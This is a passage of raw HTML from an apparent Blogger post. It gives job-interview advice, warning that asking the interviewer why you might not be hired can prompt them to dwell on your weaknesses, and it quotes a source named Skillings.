<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
Well meaning career experts will tell you to close your interview by asking <a href="http://www.businessinsider.com/the-no-1-thing-workers-fear-will-get-them-fired-2012-4" style="color: #1d637d; text-decoration: none;">if there is any reason you wouldn’t be hired</a>. While that question can give you an idea of where you stand and afford you the opportunity to address any concerns, there’s no guarantee the interviewer is going to be truthful with you or has even processed your information enough to even think about that.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
“All you are doing is prompting them to think about what’s wrong with you,” says Skillings.</div>
</h1>
<h3 dir="ltr" style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; font-weight: normal; margin: 1em 0px 0px; padding: 0px; position: relative; text-align: left;">
</h3>
<div dir="ltr" style="text-align: left;">
<span style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; text-align: left;"><br class="Apple-interchange-newline" /></span></div>
<span style="color: brown;"><strong></strong></span><br />
<strong></strong></div>Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0